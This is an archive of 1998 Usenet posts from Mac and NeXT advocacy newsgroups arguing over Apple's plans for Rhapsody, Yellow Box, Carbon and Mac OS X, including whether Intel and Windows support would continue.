References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3> <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net> <bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com> <35586023.305658D1@milestonerdl.com> <ry_51.1921$sy4.3355491@news.rdc1.sdca.home.com> <35586AD9.C2C2FFB0@milestonerdl.com> <%D%51.1927$sy4.3384960@news.rdc1.sdca.home.com> <35588453.6DD10BC8@milestonerdl.com> <see-below-1205981905160001@209.24.240.213> <1d8z55p.vwwxef1p1uvo1N@roxboro0-057.dyn.interpath.net> <djboccip-1305981552470001@qburst.msfc.nasa.gov>
Organization: phenix@interpath.com
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: never
Date: Wed, 13 May 1998 22:37:18 GMT
NNTP-Posting-Date: Wed, 13 May 1998 15:37:18 PDT
In comp.sys.mac.programmer.misc Dennis J. Boccippio
<djboccip@hiwaay.net> wrote:
> phenix@interpath.com (John Moreno) wrote:
>
> >
> > Tepid support for YB is easy to explain:
> > OpenDoc
> > QDGX
> > PowerTalk
> > Copland
>
> The first three items you listed have (a) been made available
> to developers prior to release, (b) been released and (c) met
> with little developer interest, and hence placed in maintenance
> mode or phased out.
>
> If you don't think it's the developer's responsibility to
> make a reasonable assesment of whether a promised (and incidentally
> delivered) technology will take hold, and thus devote effort (or not)
> to incorporating it, you're delusional. The world is littered
> with adventurous but mediocre Wintel technologies that went
> nowhere, in case you've forgotten. Your list could as easily
> have been:
Part of the calculation as to whether it will take hold is how it is
handled by Apple - and in all three cases how it was handled sucked. It
wasn't a part of the basic, core, installation and so caused both user
confusion and reduced the number of developers willing to use it.
> QuickTime
> ColorSync
> OpenTransport
> .
> .
> .
>
> ... and still have contributed nothing to understanding why there's
> been tepid developer support for YB.
Unless I'm mistaken (it's been a while since I needed to install a
system) all of these are currently part of the "easy install" option.
> Many of the Copland improvements (though not the critical ones)
> have already been incorporated into MacOS 8. Partial and much
> belated delivery, granted, but the only one of relevance to your
> point (tepid support for YB).
Apple has been promising PMem for just about a decade, I consider it one
of THE critical pieces that make it worth considering switching APIs -
it is NOT the user interface which is outdated and needs replacing, it's
the underpinnings, and the only in that category which both needed to be
replaced and has been is the recently introduced HFS+ (which BTW has
been promised in one guise or another just about as long as PMem).
The number one thing that apple needs to do for and with developers is
establish that when they say they are going to do something that they
mean it and that they will do it fully. In that respect, carbon is both
reassuring and disappointing - reassuring because it's almost certain to
be fully supported, and disappointing because it represents a backing
off of fully switching to Rhapsody/OS. I think it's a good thing, and
if they'd announced it last year and supported it by DR1 would have
called it a great success - but at this point it can't be looked at as
anything other than a retreat from a full Rhapsody/OS switch.
--
John Moreno
Date: Wed, 13 May 1998 15:43:10 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <stevehix-1305981543110001@ip53.safemail.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <stevenj-ya02408000R1105982034070001@news.mit.edu> <6j9iob$ga2$1@larry.admin.phil.uu.nl>
In article <6j9iob$ga2$1@larry.admin.phil.uu.nl>, freek@phil.uu.nl (Freek
Wiedijk) wrote:
> Steven:
> >Sigh...how long are people going to complain about Copland? Rhapsody IS
> >GOING TO SHIP. MacOS X is just the next step after that, which will bring
> >all of the existing MacOS developers on board.
> You shouldn't forget that if you don't pour all your energy in one thing
> (Rhapsody), but instead focus lots of energy on something else (MacOS X),
> that first thing is going to lose momentum.
this would be a lot more interesting if it were not the case that MacOS X
depends *greatly* on Rhapsody development forging ahead.
> Currently Apple is working on _three_ systems (traditional MacOS,
>Rhapsody, MacOS X).
Well, good for them. I would be *seriously* worried if they should be
working on only one of them.
Do you think that, for example, someone like Sun only works on a
single future version of Solaris at a time? They *have* to have parallel
development efforts going on all the time just to meet future
deliverable committments.
> They really should choose.
They have: they have chosen (finally) a workable way to merge the MacOS
and Rhapsody efforts into a really usable combination.
And Rhapsody will end up shipping to customers (after CR1) as MacOS X.
Date: Wed, 13 May 1998 15:47:56 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <stevehix-1305981547570001@ip53.safemail.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <Esu3v3.365@micmac.com> <see-below-1205981743380001@209.24.240.213> <EsvyFs.7qK@micmac.com> <6jco3t$6ns$3@msunews.cl.msu.edu>
In article <6jco3t$6ns$3@msunews.cl.msu.edu>,
spammers@ruin.the.internet.channelu.com wrote:
>Why in the heck
> would I want to write for Carbon when I can write for YB.
Unless you have a serious investment in MacOS applications,
you wouldn't.
Fortunately, MacOS X swings both ways. (Ummm...sort of...)
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: This is more like it....information
Date: Wed, 13 May 1998 15:48:43 -0700
Organization: University of British Columbia
Message-ID: <1d8z3e5.1ja8hxbmbmzoeN@p069.intchg2.net.ubc.ca>
References: <3559973E.12D2EC2C@milestonerdl.com> <1d8yp5c.szkb0i1r0pkk0N@p068.intchg1.net.ubc.ca> <355A0DC3.2781E494@ctron.com>
A. J. LaSalle <alasalle@ctron.com> wrote:
> Why is carbon an interim step? Maybe Yellow Box won't catch on with
> users or developers. Maybe most developers will be content to deal with
> the lower transistion costs of macos->carbon instead of macos->carbon->yb.
> I think it is too premature to assume anything about what transition will
> actually occur.
The transition macos->carbon at least provides a context in which Yellow
Box programming might establish its alleged superiority in the longer
run and gain support with developers and users.
Of course there's the possibility that the System 7 api will morph yet
again into something approximately Yellowish. They say history repeats
itself, but it seems the history of computer programming prefers to drag
itself along behind.
--
Bruce Bennett
Message-ID: <355A23F5.188A6106@unet.univie.ac.at>
Date: Thu, 14 May 1998 00:51:34 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
References: <6jatq7$72e$1@xmission.xmission.com> <3559D285.C7FC88FA@milestonerdl.com> <6jctjh$4m2$1@crib.bevc.blacksburg.va.us> <355A0000.98C34AB5@milestonerdl.com> <6jd4jf$51e$1@crib.bevc.blacksburg.va.us> <355A11FE.175EB7DE@milestonerdl.com>
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Of course it would be wonderful to have Solaris and HP/UX, but for starters the
present situation is not to bad.
One more thing: if it runs on Windows 95 I am 100% sure it'll run on 98.The same with
NT5.(80% :)
M Rassbach wrote:
> *snip*
> They why keep YellowBox? They've got a de-crufted Mac API on the way, and have a
> Unix underpinning. Why not junk YellowBox and just stick with Mac API?
>
Because it is way better than the MacAPI. Have you ever used it?
> It's been admitted that no one was swayed to move TO YellowBox. And given Apple
> cuts 'money loosing' projects, YellowBox looks like a target.
>
Well, they would have saved the $400 millions a year ago,then,wouldn't they?
Christian Benesch
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Anyone notice?
Newsgroups: comp.sys.next.advocacy
Message-ID: <355a240b.0@news.depaul.edu>
Date: 13 May 98 22:51:55 GMT
All of a sudden, people have a reason to buy Rhapsody 1.0.
They'll have to run their apps in the BlueBox, but they'll
*know* that in a year they'll be able to install MacOS X
and get identical stability and be able to use their
newer apps without the BlueBox.
Before, they could upgrade, but there was no way
of knowing if their MacOS apps would ever make it out
of the BlueBox. They might have gotten stuck with
a few YellowBox apps, and otherwise have to use all
their apps in BlueBox.
Now, there's a very good chance that their MacOS apps
will move to Carbon, and get to play with the big boys.
--
"... and subpoenas for all." - Ken Starr
Date: Wed, 13 May 1998 15:51:21 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <stevehix-1305981551390001@ip53.safemail.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <Esu3v3.365@micmac.com>
In article <Esu3v3.365@micmac.com>, nospam@micmac.com wrote:
> Though we agree on the rest, as I see it, you're wrong on that:
> Carbon will run on Intel (mo)... So this is also a way to access a much
> larger market.
Whatever for? Carbon is a tweaked (large) subset of MacOS.
Why use Carbon when you could use YB, since both are supported
on MacOS X? Unless you have a very large investment in MacOS,
YB looks like a better bet for the further future.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody
Date: Wed, 13 May 1998 17:00:07 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355A17E7.9A070A85@milestonerdl.com>
References: <8EF03D5.09B60072C1.uuout@relaynet.org>
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SHEPPARD GORDON wrote:
> To me, an unanswered question is whether by not creating Carbon/Intel, Apple
> is effectively abandoning all Intel OS development, relegating its Intel
> support to its post-Rhapsody API framework.
And so far, there seems to be no answer.
Perhaps by Friday there will be.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Wed, 13 May 1998 16:56:42 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355A171A.4F4F20C8@milestonerdl.com>
References: <6jbg4l$qi3$2@canopus.cc.umanitoba.ca> <6jcn9b$6ns$2@msunews.cl.msu.edu> <3559DA0F.8F00D835@milestonerdl.com> <6jd4f5$ehq$1@nnrp1.dejanews.com>
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spagiola@my-dejanews.com wrote:
> mark@milestonerdl.com wrote:
> > Adobe has a cross-platform product for Windows. To get them on YellowBox,
> > you need to offer more.
>
> Right, except that as things stand, being cross-platform means that Adobe has
> to maintain two quite distinct code bases for their Mac and Windows products.
They why didn't they do this?
Not enuf OSes Adobe could expand into?
Or, does Adobe know that YellowBox cross-platform is dead?
Message-ID: <355A25D6.C2207F86@unet.univie.ac.at>
Date: Thu, 14 May 1998 00:59:34 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <Esu3v3.365@micmac.com> <see-below-1205981743380001@209.24.240.213> <EsvyFs.7qK@micmac.com> <6jco3t$6ns$3@msunews.cl.msu.edu> <stevehix-1305981547570001@ip53.safemail.com>
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Steve Hix wrote:
> In article <6jco3t$6ns$3@msunews.cl.msu.edu>,
> spammers@ruin.the.internet.channelu.com wrote:
>
> >Why in the heck
> > would I want to write for Carbon when I can write for YB.
>
> Unless you have a serious investment in MacOS applications,
> you wouldn't.
>
> Fortunately, MacOS X swings both ways. (Ummm...sort of...)
There is no point in developing for Carbon if you can write for YB.
And Carbon is there to make Mac developers realize this!!!!
(Let's all hope this is successful)
Christian Benesch
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559A517.5562EE28@sys.uea.ac.uk> <pulsar-ya02408000R1305981108250001@news-proxy.cso.uiuc.edu> <3559FA4D.CF4A4BF4@spamtoNull.com>
Message-ID: <355a269d.0@news.depaul.edu>
Date: 13 May 98 23:02:53 GMT
In comp.sys.next.advocacy Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> Most likely, Jobs signed away Rhapsody for Intel a long time ago when he
> got into bed with Microsoft. He's done his due and paid lip service to
> the concept, and that's about it.
If Jobs were 'in bed' with Microsoft, he'd be out campaigning for
the 'Free Redmond' effort, signing petitions, going to rallys,
etc. You couldn't get a more persuasive voice than someone running
a company squished by Microsoft, who's been affected by Microsoft's
creative definition of 'innovation', and who isn't as directly under
Gates' thumb as the Wintel CEO's.
He's not doing that. He hasn't been heard of, wrt Microsoft.
--
"... and subpoenas for all." - Ken Starr
From: tom@engelmeier.com (Thomas Engelmeier)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Thu, 14 May 1998 00:55:59 +0200
Organization: University of Rostock
Message-ID: <1d8yqsc.1875mjiash37cN@desktop.tom-e.private>
References: <B17C8D50-7E886@206.165.43.134> <6j83mg$1cc$2@ironhorse.plsys.co.uk> <B17D23E3-9037@206.165.43.13> <3557DDE0.4333CCA0@trilithon.com>
Henry McGilton <henry@trilithon.com> wrote:
> * The only way to produce 2D graphics using Carbon is
> * 32-bit QuickDraw.
> That *is* a bummer --- on this issue we agree on something, finally.
????? Are you talking 'bout Grafics or Typography? For the later I
agree, but, for 2D Grafics stuff - what is necessary what QD doesn't
provide? (I usually use no QD at all... QD 3D, Mesa 3D, QT, grafics
importers etc...)
Regards,
TomE
VERY FUNNY, SCOTTY! NOW BEAM DOWN MY CLOTHES.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Wed, 13 May 1998 17:02:31 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355A1877.DD66EC9B@milestonerdl.com>
References: <8EF0321.09B600727F.uuout@relaynet.org> <6jctni$4mo$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
> > A low level of
> > support is better than "no Intel offerings," but it does not appear at
> > present that Apple is very interested in spending programming, management or
> > monetary resources on Rhapsody/Intel.
>
> There aren't any extra resources involved, except for driver development!
Ok, the expense is covered, what about the revenue from selling a Macintosh PPC vs selling JUST Rhapsody on
Intel vs giving away a YB for Windows?
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 17:07:20 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355A1998.E76DCAE7@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <stevenj-ya02408000R1105982034070001@news.mit.edu> <6j9iob$ga2$1@larry.admin.phil.uu.nl> <stevehix-1305981543110001@ip53.safemail.com>
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Steve Hix wrote:
> > They really should choose.
>
> They have: they have chosen (finally) a workable way to merge the MacOS
> and Rhapsody efforts into a really usable combination.
>
> And Rhapsody will end up shipping to customers (after CR1) as MacOS X.
That maps out the PPC.
And the Intel version map is?
From: G.C.Th.Wierda@AWT.nl (Gerben Wierda)
Newsgroups: comp.sys.next.advocacy
Subject: Re: WWDC according to New York Times
Date: Wed, 13 May 1998 08:16:12 GMT
Organization: Adviesraad voor het Wetenschaps- en Technologiebeleid
Sender: news@AWT.NL
Message-ID: <Esvyz0.5CK@AWT.NL>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu> <6ir7ua$14g$1@nnrp1.dejanews.com> <rmcassid-0705980005120001@dialin33419.slip.uci.edu> <6ivv73$38k$1@nnrp1.dejanews.com> <rmcassid-0905981831450001@dialin9013.slip.uci.edu> <6j4gep$l28$1@nnrp1.dejanews.com> <rmcassid-1105981238190001@dante.eng.uci.edu> <6j8umq$qvn@chile.earthlink.net> <IfW51.1190$0A
Steve Kellener <skellener@earthlink.net> wrote:
>NY Times has it's head up it's ass.
>
While this may be true. Apple needs to correct this image ASAP. Because it
depicts them as clueless, directionless and wandering about. That spells "no
trust" and that hurts sales.
---
Gerben Wierda,
Stafmedewerker Adviesraad voor het Wetenschaps- en Technologiebeleid.
Staff member Advisory Council for Science and Technology Policy
Javastraat 42, 2585 AP, Den Haag/The Hague, The Netherlands
Tel (+31) 70 3639922 Fax (+31) 70 3608992
http://www.AWT.nl/prive/wierda/
The fox knows many things, but the hedgehog knows one big thing.
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: 13 May 1998 23:11:08 GMT
Organization: University of California at San Diego
Message-ID: <slrn6lka4b.o39.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <B17CFBA1-1141D@206.165.43.26> <slrn6lfd10.2id.jason@jhste1.dyn.ml.org> <6j9ge5$1cc$9@ironhorse.plsys.co.uk> <35585A43.19F86C67@nstar.net> <6jbtan$1cc$17@ironhorse.plsys.co.uk>
On 13 May 1998 10:40:23 GMT, mmalcolm crawford <malcolm@plsys.co.uk> wrote:
:MacOS has not won. Rhapsody and MacOS have both won.
:But in a more long-winded and resource-draining way than might have been the
:case had Mac users and developers rallied round YellowBox and the original
:Rhapsody plan in the furst place.
Most of it was not Apple's fault. Some it it was though: i.e. saying dumb
things like "Rhapsody is going to be mostly for servers only." D'Oh!
If, at the beginning, ''Rhapsody'' had been called MacOS 10, and Latitude
warmly recommended, maybe all the angst would have been bypassed?
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: 13 May 1998 19:14:19 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jd9gb$59b$1@crib.bevc.blacksburg.va.us>
References: <6jatq7$72e$1@xmission.xmission.com> <355A0000.98C34AB5@milestonerdl.com> <6jd4jf$51e$1@crib.bevc.blacksburg.va.us> <355A11FE.175EB7DE@milestonerdl.com>
In article <355A11FE.175EB7DE@milestonerdl.com>, mark@milestonerdl.com wrote:
> Nathan Urban wrote:
> > In article <355A0000.98C34AB5@milestonerdl.com>, mark@milestonerdl.com wrote:
> > > 'Logic' says Apple should make YellowBox for as may platforms as possible.
> > Perhaps your `logic' doesn't include the fact that it is FAR easier to
> > upgrade an existing YB implementation to a new OS version than it is to
> > produce a new one from scratch for a whole new OS.
> Then make the PUBLIC committment, if it's SO EASY.
Gosh, Apple hasn't announced public committment for Windows NT6 and
Windows2000 and lots of other products that don't exist, that must means
that they'll never update YB/Windows again.
Why are you _assuming_ that when Apple commits to YB/Windows, that does
_not_ include NT5/98? Perhaps they feel it's obvious. I certainly do.
Why don't you just _ask_ them? They have feedback/question addresses,
though they mostly pay attention to registered developers.
> > Perhaps your `logic' doesn't include the fact that with MacOS and Windows
> > _alone_, they've got the _vast_ majority of the market covered anyway.
> Give developers MORE. Give them Solaris/HP-UX. (They had that with
> OpenSTEP)Then, get down and dirty.....get runtimes to work with Linux/FreeBSD.
> (Sell the runtimes. If you want non-mainstream implementation you pay.)
Like I said: WHY? It takes a _nontrivial_ amount of effort to produce
a Yellow Box for a new operating system. They've already got one for
Windows, it's much easier to update for a new version of Windows than
it is to make a new one for a whole new OS. If they make Solaris,
HP-UX, Linux, FreeBSD, etc., what have they gained? A small increase
in marketshare. What have they lost? A lot of development time. It's a
cost-benefit ratio. Even Sun is not attempting to produce Java VMs for
every OS -- and they probably wouldn't even if other companies weren't;
it's a lot of effort!
Don't get me wrong, I'd love to see YB all over the place. I just don't
think that Apple is going to consider it worth their time to increase
their available market by a relatively tiny number of seats.
> > Perhaps your `logic' doesn't include the fact that if Apple weren't
> > willing to keep up to date on YB/Windows, they'd kill it now and save
> > themselves the development/sales/marketing costs.
> What 'up to date'? NT4/95 has been out there for some time. What 'up to date'?
<sigh> "Up to date" as in modifying it to work with NT5/98, if any
modfiication is necessary. My point was that if they _weren't_ willing
to keep YB up to date with whatever release of Windows Microsoft is
putting out, they'd just kill YB/Windows now, because they know --
as you yourself have pointed out -- that no one is going to be excited
over a YB/Windows that dead-ends on the current OS releases. It's a
waste of their time and money otherwise.
> > Perhaps your `logic' is defective.
> Perhaps you are delusional as to how important YellowBox actually is.
Perhaps you are. Yellow Box is exceptionally important to Apple's
long-term strategy, as is their cross-platform effort.
> If Apple is unwilling to say 'We are willing to commit to supporting NT 5.x,
> so long as we obtain proper support from Microsoft', then how serious IS
> YellowBox in Multi-platform?
Who says they're unwilling? The only person I've seen expressing doubts
that YB/Windows is going to be continued to NT 5 is you. Most everyone
else regards it as obvious.
Anyway, Apple does plenty of things they don't announce ages ahead
of time.
> > > Oh, and care to comment on this: The NT version of the YellowBox runtime
> > > was a NeXT project. Why does its continuation have to contiune as an
> > > Apple project?
> > Because Apple could have just dropped YB/Windows in the first place when
> > they bought NeXT, but didn't. That means they think they need it.
> Apple could have dropped the Newton before creating the MP2000. But they
> didn't.
Because it was to their advantage to keep it.
Tell me, why would Apple have NOT dropped YB/Windows when in the first
place if they weren't willing to keep it up to date? They don't make
money off of it. They know people won't be interested in it if it's not
updated. Even if they've completely ceased development on it, there's a
nontrivial amount of money tied up in sales/production/marketing/support.
Apple has axed everything nonessential. WHY would they be pushing it
now, even if people ARE interested in something that dead-ends at NT4,
if it's not a revenue stream?? There are subtleties to the YB strategy
that you seem to be completely missing.
> Are you forgetting that 'Newton was top-knotch technology', but 'rejected in
> the marketplace'? What's on top? A box using graffiti,
> And, how is YellowBox different? YellowBox *IS* top-notch.
Yellow Box isn't going to be "rejected in the marketplace" because
people don't buy it. It's not something they buy! Users are irrelevant!
Yellow Box will be accepted or rejected based on whether _developers
choose to develop for it_. If you want to compare it to something Apple
has dropped, at least compare it to software!
> YellowBox couldn't get developers...and it's NOT the Mac API.
Yellow Box couldn't get developers for _lots_ of reasons that _don't_
apply to Apple. It was way overpriced. It didn't have a major company
pushing it. It had no market penetration to base itself on. It didn't
have a big company telling all their developers for their OS (who use
_another_ API) that they should switch to it.
> With Carbon, Apple has it's Mac. And YellowBox isn't a Mac.
Yellow Box is _too_ a Mac. Now. Apple WANTS its developers using
Yellow Box. It is to everyone's advantage. It will encourage them to
do so. Whether or not they use it is up to the developers, though.
> > Because, in case you hadn't noticed, the acting CEO of company, the VP
> > of software (or is it OS development?), and the VP of hardware are all
> > ex-NeXT employees. Can you guess who's pulling the strings there?
> That doesn't mean that YellowBox will survive.
YellowBox is Steve's baby that he put over a decade of his life into.
That still doesn't mean that it will survive. But Steve is quite attached
to it.
> When Steve Jobs came on board, Newton users got nervous.
Yeah. Newton wasn't Steve's baby.
> > Because, most importantly, the reason why NeXT produced YB for Windows
> > in the first place is exactly the same reason why Apple needs it --
> > the market is so small that an insufficient number of developers are
> > willing to develop solely for it.
> They why keep YellowBox? They've got a de-crufted Mac API on the way,
> and have a Unix underpinning. Why not junk YellowBox and just stick with
> Mac API?
Because the Yellow Box is still _far_ better than even Carbon, and it
_also_ has cross-platform ability with Windows.
> It's been admitted that no one was swayed to move TO YellowBox.
No one was swayed to port their existing code base (usually hundreds
of thousands of lines) to Yellow Box -- and in fact, they should not.
It's better, but it's better because it saves you lots of work, and with
existing apps, that extra unnecessary work is already done. A rewrite
from scratch in YB is not feasible.
Furthermore, Mac developers are hedging their bets until an Apple platform
capable of running Yellow Box actually ships.
Anyway, most of the big name software houses are the ones that aren't
developing new apps from scratch, they're leveraging and extending
existing code bases. But new apps do of course get written, and Yellow
Box is much more compelling to people doing those. The only reason not
to use it for a new app is because of the overhead required in learning
a new API. But that overhead is worth it, Apple is in the process of
convincing people of that, and once some of the really superior YB apps
start to ship to customers, people will see that.
> And given Apple cuts 'money loosing' projects, YellowBox looks like a target.
YB isn't even remotely a target. Half the sessions at WWDC are
YB-related! All the developers there are reporting that Apple is pushing
it as something they want their developers using. They are _very_
actively enhancing it.
Doesn't look like much of a target to me.
> Not even
> mentioning YellowBox at the keynote is far too quiet for a key technology.
> As Steve Jobs said "Rhapsody WAS great technology. But it wasn't enough"
And he's right.
> I'll go on record that if you don't see some form of formal cross-platform
> statement about YellowBox b4 this WWDC is over, YellowBox will be cut back to
> just MacOS, and the cross-platform option will die off with NT 5.x
Excellent. I'll make a note of it.
(A formal cross-platform statement has already been made, by the way,
saying that Apple is committed to Rhapsody/Intel and Yellow Box for
Windows. Of course, that isn't enough for you.)
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: 13 May 1998 10:55:25 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jcc8t$479$1@crib.bevc.blacksburg.va.us>
References: <6jatq7$72e$1@xmission.xmission.com> <3559089F.C8BDFAD1@milestonerdl.com> <3559173D.1A44DBFA@unet.univie.ac.at> <35597B98.E031BF17@milestonerdl.com>
In article <35597B98.E031BF17@milestonerdl.com>, mark@milestonerdl.com wrote:
> And if the cross-platform aspect is gone, I think of YellowBox is dead.
Yeah, you keep running around here saying that, but Apple has never said
that the cross-platform aspect is gone. In fact, the only thing I've
heard about the cross-platform aspect is "we fully intend to support
Rhapsody on Intel". Now, you can construe that however you want given
MacOS X, but don't see anything that says that Apple will have no Intel
offerings.
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 13 May 1998 17:23:36 -0600
Organization: XMission Internet (801 539 0852)
Message-ID: <6jda1o$lf$1@xmission.xmission.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <andyba-ya02408000R1205981051430001@news> <6jagk8$sol$1@xmission.xmission.com> <andyba-ya02408000R1305981540240001@news>
Andy Bates <andyba@corp.webtv.net> wrote:
: >
: > Except that on Sunday, developing for Apple on Intel had a future. Today
: > it does not.
: Why not? Rhapsody for Intel is still coming out as well. Recompiled
: So Rhapsody for Intel + no Carbon = Rhapsody for Intel, just like it
: always did.
I question your facts.
Apple has stated that Rhapsody will be folded into Mac OS X after the CR1
release, and that Mac OS X will be PowerPC only. This means "no Mac OS X
on Intel" after the Rhapsody CR1 release.
It looks like the Yellow Box on Windows will live, but word about an Apple
OS on Intel has been conspiciously absent during this event.
..................kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Wed, 13 May 1998 17:29:15 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355A1EBB.89DAF1DF@milestonerdl.com>
References: <6jatq7$72e$1@xmission.xmission.com> <3559D285.C7FC88FA@milestonerdl.com> <6jctjh$4m2$1@crib.bevc.blacksburg.va.us> <355A0000.98C34AB5@milestonerdl.com> <6jd4jf$51e$1@crib.bevc.blacksburg.va.us> <355A11FE.175EB7DE@milestonerdl.com> <355A23F5.188A6106@unet.univie.ac.at>
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Christian Benesch wrote:
> Of course it would be wonderful to have Solaris and HP/UX, but for starters the
> present situation is not to bad.
> One more thing: if it runs on Windows 95 I am 100% sure it'll run on 98.The same with
> NT5.(80% :)
Then ANNOUNCE the 98/NT5.X
> M Rassbach wrote:
> > *snip*
> > They why keep YellowBox? They've got a de-crufted Mac API on the way, and have a
> > Unix underpinning. Why not junk YellowBox and just stick with Mac API?
> >
> Because it is way better than the MacAPI. Have you ever used it?
The Newton IS way better than anything else.
Good technologies die. YellowBox on cross-platform might just be one of them.
> > It's been admitted that no one was swayed to move TO YellowBox. And given Apple
> > cuts 'money loosing' projects, YellowBox looks like a target.
> >Well, they would have saved the $400 millions a year ago,then,wouldn't they?
And Apple is alledged to have spent $500 mil on Newton b4 shipping the 1st unit. Your
point on the money savings is?
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: 13 May 1998 19:30:36 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jdaes$5al$1@crib.bevc.blacksburg.va.us>
References: <8EF0321.09B600727F.uuout@relaynet.org> <6jctni$4mo$1@crib.bevc.blacksburg.va.us> <355A1877.DD66EC9B@milestonerdl.com>
In article <355A1877.DD66EC9B@milestonerdl.com>, mark@milestonerdl.com wrote:
> Nathan Urban wrote:
> > > A low level of
> > > support is better than "no Intel offerings," but it does not appear at
> > > present that Apple is very interested in spending programming, management
> > > or monetary resources on Rhapsody/Intel.
> > There aren't any extra resources involved, except for driver development!
> Ok, the expense is covered, what about the revenue from selling a Macintosh
> PPC vs selling JUST Rhapsody on Intel vs giving away a YB for Windows?
